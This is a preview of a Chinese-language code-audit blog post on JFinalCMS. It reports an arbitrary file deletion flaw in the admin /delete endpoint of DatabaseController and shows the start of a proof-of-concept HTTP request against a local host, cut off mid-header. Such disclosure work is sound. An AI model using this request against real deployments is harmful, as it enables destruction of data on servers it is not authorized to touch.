Java代码审计之JFinalCMS

文章预览

原文首发在先知社区 https://xz.aliyun.com/t/14957 前言 看到星球发布了一个作业，由于考试没及时弄。所以就自己随便看看了，这套系统确实漏洞很多，可以说是靶场。。。危险操作几乎都没有做过滤，而且很久没更新了 后台任意文件删除 这个洞提了cve，看大家都在水我也水一个 漏洞很简单，甚至不需要白盒，黑盒能直接测出来，但是代码审计还是看代码吧，我审这个的时候也是直接看的代码，代码位置在 src/main/java/com/cms/controller/admin/DatabaseController.java  文件下的 /delete  接口 跟进这个delete方法 可以看到对这个参数没有做任何的检测，仅仅只看了文件是否存在 poc如下 POST / admin / database / delete HTTP / 1.1 Host : 127.0 . 0.1 : 8888 Cache - Control : max - age = 0 sec - ch - ua : "Chromium" ; v = "113" , "Not-A.Brand" ; v = "24" sec - ch - ua - mobile : ? 0 sec - ch - ua - platform : "Wind ………………………………